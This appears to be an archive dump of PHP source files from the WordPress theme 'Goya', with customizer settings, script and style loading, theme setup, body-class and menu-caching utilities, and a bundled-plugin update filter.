'goya_config', array( 'type' => 'text', 'settings' => 'second_font_typekit_kit_id', 'label' => esc_html__( 'Project ID', 'goya' ), 'section' => 'fonts', 'default' => '', 'priority' => 10, 'required' => array( array( 'setting' => 'second_font_source', 'operator' => '==', 'value' => '2' ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'text', 'settings' => 'second_typekit_font', 'label' => esc_html__( 'font-family', 'goya' ), 'description' => esc_html__( 'The font name used in the CSS output. Example: futura-pt', 'goya' ), 'section' => 'fonts', 'default' => '', 'priority' => 10, 'required' => array( array( 'setting' => 'second_font_source', 'operator' => '==', 'value' => '2' ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'multicheck', 'settings' => 'second_font_apply', 'label' => esc_html__( 'Elements to apply 2nd font', 'goya' ), 'description' => esc_html__( 'Select which elements will use the 2nd font', 'goya' ), 'section' => 'fonts', 'default' => array('titles','modules','widgets','blockquotes','h2','h3'), 'priority' => 10, 'multiple' => 1, 'choices' => array( 'main-menu' => esc_attr__('Main Menu', 'goya'), 'titles' => esc_attr__('Main Title (h1)', 'goya'), 'modules' => esc_attr__('Module Title (h2, h3)', 'goya'), 'widgets' => esc_attr__('Widget Title (h2)', 'goya'), 'products' => esc_attr__('Products List', 'goya'), 'posts' => esc_attr__('Posts List', 'goya'), 'portfolio' => esc_attr__('Portfolio List', 'goya'), 'h2' => esc_attr__('Content h2', 'goya'), 'h3' => esc_attr__('Content h3', 'goya'), 'h4' => esc_attr__('Content h4', 'goya'), 'blockquotes' => esc_attr__('Blockquotes', 'goya'), ), 'required' => array( array( 'setting' => 'second_font_source', 'operator' => '!=', 'value' => '0' ) ), )); /* Font Sizes */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'fonts', 'default' => '

    ' . esc_html__( 'Font Sizes', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'font_size_medium', 'label' => esc_html__( 'Medium Font Size (px)', 'goya' ), 'description' => esc_html__( 'General Body font', 'goya' ), 'transport' => 'auto', 'section' => 'fonts', 'default' => 16, 'priority' => 10, 'choices' => array( 'min' => 12, 'max' => 20, 'step' => 1 ), 'output' => array( array( 'element' => 'body, blockquote cite, div.vc_progress_bar .vc_single_bar .vc_label, div.vc_toggle_size_sm .vc_toggle_title h4', 'property' => 'font-size', 'units' => 'px', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'font_size_small', 'label' => esc_html__( 'Small Font Size (px)', 'goya' ), 'transport' => 'auto', 'section' => 'fonts', 'default' => 14, 'priority' => 10, 'choices' => array( 'min' => 10, 'max' => 16, 'step' => 1 ), 'output' => array( array( 'element' => '.wp-caption-text, .woocommerce-breadcrumb, .post.listing .listing_content .post-meta, .footer-bar .footer-bar-content, .side-menu .mobile-widgets p, .side-menu .side-widgets p, .products .product.product-category a div h2 .count, #payment .payment_methods li .payment_box, #payment .payment_methods li a.about_paypal, .et-product-detail .summary .sizing_guide, #reviews .commentlist li .comment-text .woocommerce-review__verified, #reviews .commentlist li .comment-text .woocommerce-review__published-date, .commentlist > li .comment-meta, .widget .type-post .post-meta, .widget_rss .rss-date, .wp-block-latest-comments__comment-date, .wp-block-latest-posts__post-date, .commentlist > li .reply, .comment-reply-title small, .commentlist .bypostauthor .post-author, .commentlist .bypostauthor > .comment-body .fn:after, .et-portfolio.et-portfolio-style-hover-card .type-portfolio .et-portfolio-excerpt', 'property' => 'font-size', 'units' => 'px', ), ), )); /** * SOCIAL MEDIA */ /* Social Media */ Kirki::add_field( 'goya_config', array( 'type' => 'sortable', 'settings' => 'share_icons', 'label' => esc_html__( 'Share Icons', 'goya' ), 'description' => esc_html__( 'Select the share icons to show on posts and products', 'goya' ), 'section' => 'social_media', 'priority' => 10, 'choices' => array( 'facebook' => esc_attr__('Facebook', 'goya'), 'twitter' => esc_attr__('Twitter', 'goya'), 'pinterest' => esc_attr__('Pinterest', 'goya'), 'vk' => esc_attr__('VK', 'goya'), 'linkedin' => esc_attr__('LinkedIn', 'goya'), 'whatsapp' => esc_attr__('WhatsApp', 'goya'), 'telegram' => esc_attr__('Telegram', 'goya'), 'email' => esc_attr__('Email', 'goya'), ), 'default' => array('facebook', 'twitter', 'pinterest'), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'social_media', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'social_links', 'label' => esc_html__( 'Social Media Links', 'goya' ), 'description' => esc_html__( 'Add your social Media URL\'s', 'goya' ), 'section' => 'social_media', 'transport' => 'postMessage', 'default' => array(), 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'name', ), 'fields' => array( 'name' => array( 'type' => 'select', 'label' => esc_html__( 'Social Network', 'goya' ), 'choices' => goya_social_media_icons(), ), 'url' => array( 'type' => 'text', 'label' => esc_html__( 'Link URL', 'goya' ), ), ), )); /** * CUSTOM CODE */ /* Custom Code */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'custom_css', 'default' => '

    ' .esc_html__( 'Goya CSS', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'custom_css_status', 'label' => esc_html__( 'Enable Goya CSS', 'goya' ), 'description' => esc_html__( 'Add your theme specific code here for easy switch.', 'goya'), 'section' => 'custom_css', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'code', 'settings' => 'custom_css_code', 'label' => esc_html__( 'Goya CSS', 'goya' ), 'section' => 'custom_css', 'default' => '', 'priority' => 10, 'choices' => array( 'language' => 'css', 'theme' => 'monokai', 'height' => 150, ), )); }// End if(). admin/settings/pages/header.php000064400000000507151546501460012545 0ustar00

    admin/settings/pages/tabs.php000064400000001002151546501460012235 0ustar00 esc_attr__( 'Welcome', 'goya' ), ); ?> admin/settings/pages/welcome.php000064400000005101151546501460012743 0ustar00script-calls.php000064400000031266151546501460007674 0ustar00 admin_url( 'admin-ajax.php' ), 'l10n' => array ( 'back' => esc_html__("Back", 'goya'), 'view_cart' => esc_html__("View cart", 'goya') ), 'icons' => array( 'prev_arrow' => goya_load_template_part('assets/img/svg/chevron-left.svg'), 'next_arrow' => goya_load_template_part('assets/img/svg/chevron-right.svg'), ), 'settings' => array ( 'current_url' => get_permalink(), 'site_url' => site_url(), 'pageLoadTransition' => goya_meta_config('','page_transition',false), 'ajaxSearchActive' => get_theme_mod( 'ajax_search', true ), 'ajaxAddToCartSingle' => apply_filters('goya_ajax_atc_single_product', get_theme_mod( 'product_single_ajax_addtocart', true )), 'cart_icon' => get_theme_mod( 'header_cart_icon_function', 'mini-cart' ), 'minicart_auto' => get_theme_mod( 'open_minicart_automatically', true ), 'shop_infinite_load' => goya_meta_config('shop','infinite_load','button'), 'shop_update_url' => apply_filters( 'goya_shop_ajax_update_url', false ), 'ajaxWishlistCounter' => get_theme_mod( 'ajax_wishlist_counter', false ), 'YITH_WCWL_Premium' => class_exists('YITH_WCWL_Premium') ? true : false, 'posts_per_page' => get_option('posts_per_page'), 'related_slider' => get_theme_mod( 'product_upsell_related_slider', true ), 'popup_length' => get_theme_mod( 'popup_frequency', 1 ), 'is_front_page' => is_front_page(), 'is_blog' => goya_is_blog(), 'is_cart' => goya_wc_active() ? is_cart() : false, 'is_checkout' => $is_checkout, 'checkoutTermsPopup' => get_theme_mod( 'checkout_terms_popup', true ), 'single_atc_nonce' => wp_create_nonce( 'goya-add-to-cart' ), 'facebook4WC' => apply_filters( 'goya_wc_facebook_ajax_atc', in_array('facebook-for-woocommerce/facebook-for-woocommerce.php', apply_filters('active_plugins', get_option('active_plugins'))) ), ), ) ); } } add_action('wp_enqueue_scripts', 'goya_scripts'); /* Admin Assets ---------------------------------------------------------- */ /* Load admin assets */ function goya_admin_assets( $hook ) { // Admin CSS wp_enqueue_style( 'goya-admin-css', GOYA_ASSET_CSS . '/admin/admin.min.css', null, GOYA_THEME_VERSION); if ( in_array( $hook, array( 'post.php', 'post-new.php' ) ) ) { // Gutenberg styles wp_enqueue_style( 'goya-gutenberg', GOYA_ASSET_CSS . '/admin/gutenberg.css', false, GOYA_THEME_VERSION, 'all' ); wp_add_inline_style( 'goya-gutenberg', goya_gutenberg_styles() ); wp_enqueue_style( 'wp-color-picker' ); // WP Bakery styles if (class_exists('WPBakeryVisualComposerAbstract')) { wp_enqueue_style( 'goya-admin-vc-css', GOYA_ASSET_CSS . '/admin/admin-vc.min.css', null, GOYA_THEME_VERSION); wp_enqueue_script( 'goya-admin-vc', GOYA_ASSET_JS . '/admin/admin-vc.min.js', array('jquery'), GOYA_THEME_VERSION); } } if ( in_array( $hook, array( 'post.php', 'post-new.php', 'nav-menus.php', 'term.php' ) ) ) { // General JS scripts wp_enqueue_script( 'goya-admin-general', GOYA_ASSET_JS . '/admin/admin-general.min.js', array( 'jquery', 'wp-color-picker' ), GOYA_THEME_VERSION, true ); } } add_action( 'admin_enqueue_scripts', 'goya_admin_assets' ); /* Load assets on login page */ function goya_wp_login_assets( $hook ) { // Admin CSS wp_enqueue_style( 'goya-admin-css', GOYA_ASSET_CSS . '/admin/admin.min.css', null, GOYA_THEME_VERSION); // Theme icon font wp_enqueue_style( 'goya-icons', GOYA_ASSET_ICON . '/theme-icons/style.css', array(), GOYA_THEME_VERSION, 'all' ); } add_action( 'login_enqueue_scripts', 'goya_wp_login_assets' ); /* WooCommerce */ add_filter( 'woocommerce_enqueue_styles', '__return_empty_array' ); /* Shortcode inline styles ---------------------------------------------------------- */ function goya_enqueue_shortcodes_styles() { wp_register_style('goya-shortcodes-styles', false); // Register handle wp_enqueue_style('goya-shortcodes-styles'); wp_add_inline_style('goya-shortcodes-styles', Goya_Layout::get_shortcodes_css_buffer(false)); } add_action('wp_footer', 'goya_enqueue_shortcodes_styles'); class Goya_Layout { static private $dynamic_shortcodes_css_buffer_code = array(); // Show or return dynamic CSS code static function get_shortcodes_css_buffer( $print = false ) { if ( $print ) { echo implode( '', self::$dynamic_shortcodes_css_buffer_code ); return true; } else { return implode( '', self::$dynamic_shortcodes_css_buffer_code ); } } // Shortcodes dynamic CSS to buffer code static function append_to_shortcodes_css_buffer( $append_string = '' ) { $append_string = trim( $append_string ); if ( strlen( $append_string ) == 0 ) { return false; } $append_array = preg_split( "/((\r?\n)|(\r\n?))/", $append_string ); $new_append_string = ''; foreach( $append_array as $index => $append_line ){ $append_line = trim( $append_line ); if ( strlen( $append_line ) == 0 ) { continue; } $new_append_string .= $append_line; } self::$dynamic_shortcodes_css_buffer_code[] = $new_append_string; return true; } } /* Default font ---------------------------------------------------------- */ function goya_has_default_font() { $main_font_family = $second_font_family = ''; if ( get_theme_mod('main_font_source', '1') == '1' ) { $main_font = get_theme_mod( 'main_font', array() ); $main_font_family = isset($main_font['font-family']) ? $main_font['font-family'] : ''; } if ( get_theme_mod('second_font_source', '0') == '1' ) { $second_font = get_theme_mod( 'second_font', array() ); $second_font_family = isset($second_font['font-family']) ? $second_font['font-family'] : ''; } if ($main_font_family == '' || $main_font_family == 'Jost, sans-serif' || $second_font_family == 'Jost, sans-serif') { return true; } else { return false; } } /* Clean CSS inline styles ---------------------------------------------------------- */ function goya_clean_custom_css($styles) { // Remove comments $styles = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $styles); // Remove space after colons $styles = str_replace(': ', ':', $styles); // Remove whitespace $styles = str_replace(array("\r\n", "\r", "\n", "\t", ' ', ' ', ' '), '', $styles); return $styles; } /* Deregister unnecessary styles ---------------------------------------------------------- */ function goya_deregister_styles() { // From YITH Wishlist // It may cause a warning in Query Monitor because it has other dependencies. //wp_deregister_style( 'yith-wcwl-font-awesome' ); } add_action( 'wp_print_styles', 'goya_deregister_styles', 100 ); misc.php000064400000052611151546501460006224 0ustar00 'ffffff', 'wp-head-callback' => 'goya_change_custom_background' ) ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /** * Add support for core custom logo. * * @link https://codex.wordpress.org/Theme_Logo */ add_theme_support( 'custom-logo', array( 'height' => 80, 'width' => 200, 'flex-width' => true, ) ); /* Post Formats */ add_theme_support('post-formats', array('video', 'image', 'gallery')); // Add support for Block Styles. add_theme_support( 'wp-block-styles' ); // Add support for full and wide align images. add_theme_support( 'align-wide' ); // Add support for editor styles. add_theme_support( 'editor-styles' ); // Add support for responsive embedded content. add_theme_support( 'responsive-embeds' ); // Gutenberg: Color Pallete add_theme_support( 'editor-color-palette', array( array( 'name' => esc_html__( 'White', 'goya' ), 'slug' => 'gutenberg-white', 'color' => '#ffffff', ), array( 'name' => esc_html__( 'Shade', 'goya' ), 'slug' => 'gutenberg-shade', 'color' => '#f8f8f8', ), array( 'name' => esc_html__( 'Gray', 'goya' ), 'slug' => 'gutenberg-gray', 'color' => esc_html( get_theme_mod( 'main_font_color', '#777777' ) ), ), array( 'name' => esc_html__( 'Dark', 'goya' ), 'slug' => 'gutenberg-dark', 'color' => esc_html( get_theme_mod( 'primary_buttons', '#282828' ) ), ), array( 'name' => esc_html__( 'Accent', 'goya' ), 'slug' => 'gutenberg-accent', 'color' => esc_html( get_theme_mod( 'accent_color', '#b9a16b' ) ), ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'script', 'style' ) ); /* Image Settings */ add_theme_support( 'post-thumbnails' ); set_post_thumbnail_size( 150, 150, false ); /* WooCommerce Support */ add_theme_support( 'woocommerce'); /* WooCommerce gallery */ add_theme_support( 'wc-product-gallery-slider' ); if ( get_theme_mod('product_image_lightbox', true) == true ) { add_theme_support( 'wc-product-gallery-lightbox' ); } /* Disable WooCommerce wizard redirection */ add_filter( 'woocommerce_prevent_automatic_wizard_redirect', '__return_true' ); /* Register Menus */ add_theme_support('nav-menus'); register_nav_menus( array( 'primary-menu' => esc_html__( 'Main', 'goya' ), 'topbar-menu' => esc_html__( 'Top Bar', 'goya' ), 'secondary-menu' => esc_html__( 'Secondary', 'goya' ), 'fullscreen-menu' => esc_html__( 'Off-Canvas', 'goya' ), 'mobile-menu' => esc_html__( 'Mobile', 'goya' ), 'footer-menu' => esc_html__( 'Footer', 'goya' ) ) ); // Setup Admin Menus if ( is_admin() && class_exists('TGM_Plugin_Activation') ) { goya_init_admin_pages(); } } } add_action( 'after_setup_theme', 'goya_theme_setup' ); /* Required Settings */ if ( ! isset( $content_width ) ) { $content_width = 1140; /* pixels */ } /* Remove Elementor redirection */ function goya_remove_elementor_splash() { delete_transient( 'elementor_activation_redirect' ); } add_action( 'init', 'goya_remove_elementor_splash' ); /* WP Bakery adjustments */ function goya_vc_theme_adjust() { if ( get_theme_mod('js_composer_standalone', false) == true ) { return; } // Disable plugin update message vc_manager()->disableUpdater(true); // Bundled with the theme if ( function_exists( 'vc_set_as_theme' ) ) { vc_set_as_theme(); } } add_action( 'vc_before_init', 'goya_vc_theme_adjust' ); /* Admin menu */ function goya_init_admin_pages() { add_action( 'admin_menu', 'adminSetupMenu'); } function adminSetupMenu() { // Theme main menu add_menu_page( esc_html__('Goya', 'goya'), esc_html__('Goya', 'goya'), 'edit_theme_options', 'goya-theme', 'goya_theme_welcome', '', 60 ); if (class_exists('TGM_Plugin_Activation')) { $installer = TGM_Plugin_Activation::get_instance(); if ( ! $installer->is_tgmpa_complete() ) { // Theme Setup add_submenu_page( 'goya-theme', esc_html__('Setup Wizard', 'goya'), esc_html__('Setup Wizard', 'goya'), 'edit_theme_options', 'merlin', '__return_false' ); // Plugins add_submenu_page( 'goya-theme', esc_html__('Install Plugins', 'goya'), esc_html__('Install Plugins', 'goya'), 'edit_theme_options', 'install-required-plugins', '__return_false' ); } } if (class_exists('OCDI_Plugin')) { // Demo Import add_submenu_page( 'goya-theme', esc_html__('Demo Import', 'goya'), esc_html__('Demo Import', 'goya'), 'edit_theme_options', 'pt-one-click-demo-import', '__return_false' ); } // Theme Options add_submenu_page( 'goya-theme', esc_html__('Customize', 'goya'), esc_html__('Customize', 'goya'), 'edit_theme_options', 'customize.php', '' ); } function goya_theme_welcome() { get_template_part( 'inc/admin/settings/pages/welcome' ); } // Redirect to Welcome Page disabled for Merlin //add_action( 'after_switch_theme', 'goya_activation_redirect' ) ; function goya_activation_redirect() { if ( ! ( defined( 'WP_CLI' ) && WP_CLI ) ) { $theme_installed = 'theme_installed'; if ( false == get_option( $theme_installed, false ) ) { update_option( $theme_installed, true ); wp_redirect( admin_url( 'admin.php?page=goya-theme' ) ); die(); } delete_option( $theme_installed ); } } /* Set default image-size options ---------------------------------------------------------- */ if ( ! function_exists( 'goya_woocommerce_set_image_dimensions' ) ) { function goya_woocommerce_set_image_dimensions() { if( ! goya_wc_active() ) { return; } if ( ! get_option( 'goya_shop_image_sizes_set' ) ) { // Shop image sizes if ( defined( 'WC_VERSION' ) && version_compare( WC_VERSION, '3.3', '<' ) ) { // WooCommerce 3.2 and below: Set image-size options $catalog = array( 'width' => '600', 'height' => '', 'crop' => '' ); $single = array( 'width' => '900', 'height' => '', 'crop' => '' ); $thumbnail = array( 'width' => '', 'height' => '150', 'crop' => '' ); update_option( 'shop_catalog_image_size', $catalog ); update_option( 'shop_single_image_size', $single ); update_option( 'shop_thumbnail_image_size', $thumbnail ); } else { // WooCommerce 3.3 and above: Set WP Customizer image-size options update_option( 'woocommerce_thumbnail_image_width', 600 ); update_option( 'woocommerce_thumbnail_cropping', 'uncropped' ); update_option( 'woocommerce_single_image_width', 900 ); } // Set "image sizes set" option add_option( 'goya_shop_image_sizes_set', '1' ); } } } add_action( 'after_switch_theme', 'goya_woocommerce_set_image_dimensions', 1 ); // Theme activation hook add_action( 'admin_init', 'goya_woocommerce_set_image_dimensions', 1000 ); // Additional hook for when WooCommerce is activated after the theme /* Body Classes ---------------------------------------------------------- */ function goya_body_classes( $classes ) { // Blog ID on Multisite $classes[] = 'blog-id-' . get_current_blog_id(); // Site Layout $site_layout = get_theme_mod('site_global_layout', 'regular'); if ($site_layout != 'regular') { $classes[] = 'et-site-layout-' . $site_layout; } // WP Gallery Popup $classes[] = ( get_theme_mod('wp_gallery_popup', false) == true ) ? 'wp-gallery-popup' : ''; // Campaign bar $cookie_campaign = isset($_COOKIE['et-global-campaign']) ? wp_unslash($_COOKIE['et-global-campaign']) : false; if(!$cookie_campaign) { $classes[] = get_theme_mod('campaign_bar', false) ? 'has-campaign-bar' : false; } // Top Bar $classes[] = ( goya_meta_config('','top_bar',false) == true ) ? 'has-top-bar' : ''; // Sticky header $header_sticky = get_theme_mod('header_sticky',true); $classes[] = ( $header_sticky == true ) ? 'header-sticky' : ''; // Header full width $classes[] = ( get_theme_mod('header_full_width', false) == true ) ? 'header-full-width' : ''; // Buttons, borders $border_style = get_theme_mod('elements_border_style','all'); if ($border_style != 'all') { $classes[] = 'el-style-border-' . $border_style; } $border_width = get_theme_mod('elements_border_width', 2); if ($border_width != 2) { $classes[] = 'el-style-border-width-' . $border_width; } $theme_lazy = apply_filters('goya_do_lazyload', get_theme_mod('lazy_load',false)); if ($theme_lazy === true ) { $classes[] = 'goya-lazyload'; } // Labels $classes[] = ( get_theme_mod('elements_floating_labels',true) == true ) ? 'floating-labels' : ''; // Page load transition $page_transition = goya_meta_config('','page_transition',false); if ($page_transition == true) { $classes[] = 'et-page-load-transition-true'; // CSS animations preload class $classes[] = 'et-preload'; } // Distraction Free Checkout if ( goya_wc_active() && is_checkout() && !is_wc_endpoint_url( 'order-pay' ) && !is_wc_endpoint_url( 'order-received' ) ) { $checkout_style = goya_meta_config('','checkout_style','free'); $classes[] = ( $checkout_style == 'regular' ) ? 'checkout-style-regular' : 'checkout-distraction-free'; } // Login/Register two columns $classes[] = ( goya_meta_config('','login_two_columns', false ) == true ) ? 'login-two-columns' : 'login-single-column'; if ( goya_wc_active() && !is_user_logged_in() && is_account_page() ) { $classes[] = 'et-woocommerce-account-login'; } if ( goya_wc_active() && !is_user_logged_in() && !is_account_page() && get_theme_mod( 'main_header_login_popup', false ) == true ) { $classes[] = 'et-login-popup'; } // Add extra classes for header styles $body_classes = array_filter( array_merge($classes, goya_header_styles() ) ); return $body_classes; } add_filter( 'body_class', 'goya_body_classes' ); /* WordPress checks ---------------------------------------------------------- */ /* Check if it's a Blog page */ function goya_is_blog () { return ( is_archive() || is_author() || is_category() || is_home() || is_single() || is_tag()) && 'post' == get_post_type(); } /* Check if WooCommerce is active */ function goya_wc_active() { return class_exists( 'woocommerce' ); } /*Check if it's a WooCommerce page*/ function goya_is_woocommerce() { if (!goya_wc_active()) { return false; } $woocommerce = false; if ( is_woocommerce() || is_cart() || is_checkout() || is_account_page() ) { $woocommerce = true; } return $woocommerce; } /* Menu Caching ---------------------------------------------------------- */ function goya_get_cached_menu( $menuargs ) { if ( !isset( $menuargs['menu'] ) ) { $theme_locations = get_nav_menu_locations(); $nav_menu_selected_id = $theme_locations[$menuargs['theme_location']]; $termslug = get_term_by( 'id', $nav_menu_selected_id, 'nav_menu' ); $transient = 'menu_' . $termslug->slug . '_transient'; } else { $transient = 'menu_' . $menuargs['menu'] . '_transient'; } if ( !get_transient( $transient ) ) { // check if the menu is already cached $menuargs['echo'] = '0'; // set the output to return $this_menu = wp_nav_menu( $menuargs ); // build the menu with the given $menuargs echo esc_attr( $this_menu ); // output the menu for this run set_transient( $transient, $this_menu ); // set the transient, where the build HTML is saved } else { echo get_transient( $transient ); // just output the cached version } } /* Custom Background Support ---------------------------------------------------------- */ function goya_change_custom_background() { $background = get_background_image(); $color = get_background_color(); if ( ! $background && ! $color ) return; $style = $color ? "background-color: #$color;" : ''; if ( $background ) { $image = " background-image: url('".esc_html($background)."');"; $repeat = get_theme_mod( 'background_repeat', 'repeat' ); if ( ! in_array( $repeat, array( 'no-repeat', 'repeat-x', 'repeat-y', 'repeat' ) ) ) $repeat = 'repeat'; $repeat = " background-repeat: $repeat;"; $position = get_theme_mod( 'background_position_x', 'left' ); if ( ! in_array( $position, array( 'center', 'right', 'left' ) ) ) $position = 'left'; $position = " background-position: top $position;"; $attachment = get_theme_mod( 'background_attachment', 'scroll' ); if ( ! in_array( $attachment, array( 'fixed', 'scroll' ) ) ) $attachment = 'scroll'; $attachment = " background-attachment: $attachment;"; $style .= $image . $repeat . $position . $attachment; } ?> <style type="text/css"> body.custom-background #wrapper { <?php echo trim( $style ); ?> } </style> <?php } /* Gradient Generation */ function goya_css_gradient( $color_start, $color_end, $angle = -32, $full = true ) { $return = 'linear-gradient( ' . str_replace( 'deg', '', $angle ) . 'deg,' . esc_attr( $color_end ) . ',' . esc_attr( $color_start ) . ' )'; if ( $full == true ) { return 'background:' . $color_start . ';background:' . $return . ';'; } return $return; } /* Utilities ---------------------------------------------------------- */ /* Get config values */ function goya_meta_config( $type, $param, $default ) { $type = ($type) ? $type . '_' : ''; $value = get_theme_mod($type . $param, $default); $post_meta = get_post_meta(get_queried_object_id(), 'goya_'. $type . $param, true); if ($post_meta) { $value = $post_meta; } $url_param = apply_filters( 'goya_config_url_params', false ); if ($url_param == true ) { if (isset($_GET[$param]) ) { $value = sanitize_key(wp_unslash($_GET[$param])); } } return $value; } /* Add Shortcode */ function goya_add_short( $name, $call ) { $func = 'add' . '_shortcode'; return $func( $name, $call ); } /* Load Template */ function goya_load_template_part($template_name) { ob_start(); get_template_part($template_name); $var = ob_get_contents(); ob_end_clean(); return $var; } /* Encoding/Decoding */ function goya_encode( $value ) { $func = 'base64' . '_encode'; return $func( $value ); } function goya_decode( $value ) { $func = 'base64' . '_decode'; return $func( $value ); } /* Use custom context for wp_kses */ function goya_prefix_kses_allowed_html($tags, $context) { switch($context) { case 'essentials': $tags = array( 'a' => array( 'style' => array(), 'class' => array(), 'href' => array(), 'target' => array(), 'rel' => array(), 'title' => array() ), 'b' => array( 'style' => array() ), 'strong' => array( 'style' => array() ), 'em' => array( 'style' => array() ), 'p' => array( 'style' => array() ), 'h1' => array( 'style' => array() ), 'h2' => array( 'style' => array() ), 'h3' => array( 'style' => array() ), 'h4' => array( 'style' => array() ), 'h5' => array( 'style' => array() ), 'h6' => array( 'style' => array() ), 'small' => array( 'style' => array() ), 'i' => array( 'style' => array(), 'class' => array() ), 'span' => array( 'style' => array(), 'class' => array() ), 'ol' => array( 'style' => array(), 'class' => array() ), 'ul' => array( 'style' => array(), 'class' => array() ), 'li' => array( 'style' => array() ), 'img' => array( 'src' => array(), 'class' => array(), 'width' => array(), 'height' => array(), 'alt' => array() ), 'code' => array(), 'br' => array(), ); return $tags; default: return $tags; } } add_filter( 'wp_kses_allowed_html', 'goya_prefix_kses_allowed_html', 10, 2); /* Search ---------------------------------------------------------- */ /* Header Search Box */ function goya_quick_search() { do_action( 'goya_quick_search_button' ); } add_action( 'goya_quick_search', 'goya_quick_search' ); /* Search field */ function goya_search_box() { ?> <div class="goya-search"> <?php if( goya_wc_active() ) { if ( defined( 'YITH_WCAS' ) ) { // YITH WC Ajax Search plugin echo do_shortcode('[yith_woocommerce_ajax_search]'); } else { get_product_search_form(); } } else { get_search_form(); } ?> </div> <?php } add_action( 'goya_search_box', 'goya_search_box' ); /* Search button */ function goya_quick_search_button() { $search_popup = get_theme_mod('search_popup',true); $search_mobiles = get_theme_mod('search_mobiles','header_icon'); ?> <a href="#" class="quick_search icon popup-<?php echo esc_attr( $search_popup ); ?> search-<?php echo esc_attr( $search_mobiles ); ?>"><span class="text"><?php esc_html_e('Search', 'goya' ); ?></span> <?php echo apply_filters( 'goya_search_icon', goya_load_template_part('assets/img/svg/search.svg') ); ?></a> <?php } add_action( 'goya_quick_search_button', 'goya_quick_search_button' ); /* Social ---------------------------------------------------------- */ function goya_social_share() { if ( function_exists( 'goya_social_share_links' ) ) {?> <div class="post-share"> <?php goya_social_share_links(); // From plugin goya-core ?> </div> <?php } } add_action( 'goya_social_share', 'goya_social_share' ); /* Get social media profiles list */ function goya_social_profiles( $wrapper_class = 'social-icons-default' ) { $socials = get_theme_mod('social_links', array()); $output = ''; foreach( $socials as $social ) { if (!empty ($social['name']) ) { $output .= '<li><a href="' . esc_url( $social['url'] ) . '" target="_blank" data-toggle="tooltip" data-placement="left" title="' . esc_attr( $social['name'] ) . '"><span class="et-icon et-' . esc_attr( $social['name'] ) . '"></span></a></li>'; } } $output = apply_filters( 'social_icons_items', $output ); return '<ul class="social-icons ' . $wrapper_class . '">' . $output . '</ul>'; } /* Remove intrusive advertising ---------------------------------------------------------- */ add_filter( 'stop_gwp_live_feed', '__return_true' ); /* Disable Portfolio post type ---------------------------------------------------------- */ add_action('init','goya_disable_portfolio'); function goya_disable_portfolio(){ $portfolio = get_theme_mod('portfolio_post_type', true); if ( apply_filters('goya_disable_portfolio', false) == true ) { $portfolio = false; } if ( ! $portfolio == true ) { unregister_post_type( 'portfolio' ); } } /* Password Protected Page ---------------------------------------------------------- */ function goya_password_protected_page_wrapper($form) { $output = '<div class="container"> <div class="product-header-spacer"></div>'; $output .= $form; $output .= '</div>'; return $output; } add_filter('the_password_form', 'goya_password_protected_page_wrapper', 99); /* WP Rocket compatibility ---------------------------------------------------------- */ // Add goya-animations.min.js to list of exclusions add_filter('rocket_delay_js_exclusions', 'goya_add_delay_js_exclusions'); function goya_add_delay_js_exclusions($exclusions) { $exclusions[] = 'goya-animations.min.js'; return $exclusions; } // Load animations.min.js add_filter('goya_load_animations_script', 'goya_wprocket_exclude_animations'); function goya_wprocket_exclude_animations($animations=false) { $wp_rocket_settings = get_option( 'wp_rocket_settings', [] ); if (isset( $wp_rocket_settings['delay_js'] ) && 1 === (int) $wp_rocket_settings['delay_js']) { $animations = true; } return $animations; } // Disable theme lazyload if another method already exists add_filter('goya_do_lazyload', 'goya_check_if_lazyload_exists'); function goya_check_if_lazyload_exists($lazy) { $wp_rocket_settings = get_option( 'wp_rocket_settings', [] ); if (class_exists( 'WP_Rocket_Requirements_Check' ) && isset( $wp_rocket_settings['lazyload'] ) && 1 === (int) $wp_rocket_settings['lazyload']) { $lazy = false; } if( class_exists( 'Jetpack' ) && in_array( 'lazy-images', Jetpack::get_active_modules() ) ) { $lazy = false; } return $lazy; } // Disable WCAPF update from wordpress.org function goya_disable_plugin_updates( $value ) { global $pagenow; if ( $pagenow != 'themes.php' ) { if ( isset($value) && is_object($value) ) { if ( isset( $value->response['wc-ajax-product-filter/wcapf.php'] ) ) { unset( $value->response['wc-ajax-product-filter/wcapf.php'] ); } } } else { if (isset($value) && is_object($value) && !isset( $value->response['wc-ajax-product-filter/wcapf.php'])) { $value->response['wc-ajax-product-filter/wcapf.php'] = (object) array( 'slug' => 'wc-ajax-product-filter', 'plugin' => 'wc-ajax-product-filter/wcapf.php', 'new_version' => '4.1.0', 'package' => 'https://goya.b-cdn.net/assets/plugins/v25-dkk3dkfsx/wc-ajax-product-filter.zip' ); } } return $value; } add_filter( 'site_transient_update_plugins', 'goya_disable_plugin_updates' ); �����������������������������������������������������������������������������������������������������������������������mega-menu.php���������������������������������������������������������������������������������������0000644�����������������00000021707�15154650146�0007146 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Add custom fields to menu item * * This will allow us to play nicely with any other plugin that is adding the same hook * * @param int $item_id * @params obj $item - the menu item * @params array $args */ function goya_custom_fields( $item_id, $item ) { $menu_item_megamenu = get_post_meta( $item_id, '_menu_item_megamenu', 